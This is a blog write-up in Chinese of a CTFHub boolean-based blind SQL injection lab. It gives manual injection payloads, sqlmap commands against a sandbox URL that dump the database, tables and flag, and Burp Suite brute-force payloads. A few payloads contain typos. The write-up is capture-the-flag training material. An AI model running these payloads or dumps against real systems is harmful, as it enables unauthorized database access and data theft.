2025.1.15——四、布尔注入

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,得到本题为布尔注入

方法一:手工盲注(不推荐)

[step 1:判断具体形式](#step 1:判断具体形式)

[step 2:查询字段数](#step 2:查询字段数)

[step 3:通过回显判断数据库名的长度和每个字符](#step 3:通过回显判断数据库名的长度和每个字符)

1.判断长度

2.判断每个字符

[step 4:判断有几个表以及各个表名的长度和每个字符](#step 4:判断有几个表以及各个表名的长度和每个字符)

1.判断表的数量

​编辑

​编辑

2.判断长度

3.判断字符

​编辑

[step 5:判断列数以及各个列的长度和字符](#step 5:判断列数以及各个列的长度和字符)

1.判断列数

2.判断长度

3.判断字符

方法二:sqlmap爆数据库、表名、列名

[step 1:爆数据库名](#step 1:爆数据库名)

​编辑​编辑

[step 2:爆表](#step 2:爆表)

[step 3:爆列](#step 3:爆列)

方法三:burpsuit抓包,爆数据库、表名、列名

[step 1:判断数据库名的长度以及符号](#step 1:判断数据库名的长度以及符号)

1.判断长度

2.判断字符

​编辑

[step 2:判断表的数量以及长度、字符](#step 2:判断表的数量以及长度、字符)

[step 3:判断列数以及长度、字符](#step 3:判断列数以及长度、字符)

[step 4:爆破数据](#step 4:爆破数据)

1.爆破长度

2.爆破具体数据

方法四:脚本爆数据库、表名、列名


一、基本操作:整理已知信息,得到本题为布尔注入

有三个方法,手工盲注必须了解,但是很麻烦,得一个个尝试对错,所以利用工具更方便,例如:sqlmap、bp爆信息、脚本循环遍历

方法一:手工盲注(不推荐)

step 1:判断具体形式

键入:1 #

键入:1 and 1=2 #

键入:1' #

所以可以得到本题也为整数型注入

step 2:查询字段数

键入:1 order by 3 #

键入:1 order by 2 #

寻常方法,如:1 and 1=2 union select database(),database() #没有用,毕竟只会回显1或0

step 3:通过回显判断数据库名的长度和每个字符

length(str)函数:用于获取字符串长度的函数

substr()函数:用于从字符串中提取子字符串

1.判断长度

sql 复制代码
1 and length(database())=1 #
sql 复制代码
1 and length(database())=4 #

所以数据库名长度为4

2.判断每个字符

sql 复制代码
1 and substr(database(),1,1)='a' #
sql 复制代码
1 and substr(database(),1,1)='s' #
sql 复制代码
1 and substr(database(),2,1)='q' #
sql 复制代码
1 and substr(database(),3,1)='l' #
sql 复制代码
1 and substr(database(),4,1)='i' #

得到数据库名为sqli(按照前几题的经验),如果是陌生的题,建议用sqlmap或者burpsuit爆破

step 4:判断有几个表以及各个表名的长度和每个字符

1.判断表的数量

sql 复制代码
1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1 #

sql 复制代码
1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2 #

2.判断长度

第一个表名长度

sql 复制代码
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1))=4 #

第二个表名长度

sql 复制代码
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1))=4 #

3.判断字符

sql 复制代码
1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='n' #

step 5:判断列数以及各个列的长度和字符

1.判断列数

sql 复制代码
1 and (select count(column_name) from information_schema.columns where table_name='flag')=1 #

2.判断长度

sql 复制代码
1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=4 #

3.判断字符

sql 复制代码
1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),1,1)='i'

方法二:sqlmap爆数据库、表名、列名

step 1:爆数据库名

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 --current-db

得到数据库名为sqli

step 2:爆表

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

得到一共两个表,分别为flag和news

step 3:爆列

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

得到只有一列

step 4:爆具体数据

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch

得到flag

方法三:burpsuit抓包,爆数据库、表名、列名

这里要用到ASCII表

step 1:判断数据库名的长度以及符号

1.判断长度

在框内输入

sql 复制代码
1 and length(database())=1#

然后进行抓包、爆破

得到数据库名字符串的长度为4

2.判断字符

sql 复制代码
1 and ascii(substr(database(),1,1))=100#

第一个字符为s

后面字符修改为

sql 复制代码
1 and ascii(substr(database(),2,1))=100#

依次可以得到

第二个字符为q

第三个字符为l

第四个字符为i

所以数据库名为sqli

step 2:判断表的数量以及长度、字符

1.判断表数详见方法一

2.判断长度同样输入payload再抓包

payload:1 and ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=x #

注:x为爆破点

3.判断字符同上

payload:1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=100#

注:100则为爆破点

得到表名为news、flag

step 3:判断列数以及长度、字符

1.判断列数

payload:1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=1#

2.判断长度同样输入payload再抓包

payload:1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=x #

注:x为爆破点

3.判断字符

payload:1 and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'flag' order by ordinal_position limit 0,1), 1, 1)) = x #

注:x为爆破点;ordinal bu_position:按照列的顺序位置排序

step 4:爆破数据

1.爆破长度

payload:1 and (select length(flag) from sqli.flag limit 1) = 10 #

注:10为爆破点

2.爆破具体数据

payload:1 and ascii(substr((select flag from sqli.flag limit 0,1), 1, 1)) = 99 #

注:99为爆破点

一个一个爆破太久了,所以还是sqlmap好用

方法四:脚本爆数据库、表名、列名

引用脚本:CTFhub的布尔盲注_ctfhub布尔盲注-CSDN博客

python还不会用,先放这

相关推荐
小伍_Five42 分钟前
使用Java操作Neo4j数据库
大数据·数据库·nosql数据库·neo4j
码农不惑1 小时前
Django的定制以及admin
数据库·python·django·sqlite
傻欣1 小时前
第八天 开始Unity Shader的学习之Blinn-Phong光照模型
学习·unity·游戏引擎
Elastic 中国社区官方博客2 小时前
Elasticsearch 向量数据库,原生支持 Google Cloud Vertex AI 平台
大数据·数据库·人工智能·elasticsearch·搜索引擎·语言模型·自然语言处理
一个数据大开发3 小时前
如何将excel数据快速导入数据库
数据库·excel
strongwyy5 小时前
9、nRF52xx蓝牙学习(pca10056.h学习)
单片机·嵌入式硬件·学习
每天题库5 小时前
2025 年江苏保安员职业资格考试经验分享
学习·安全·考试·题库·考证
一介草民丶5 小时前
Mysql | 主从复制的工作机制
数据库·mysql·oracle
酱学编程9 小时前
redis 延迟双删
数据库·redis·缓存
viperrrrrrrrrr710 小时前
大数据学习(105)-Hbase
大数据·学习·hbase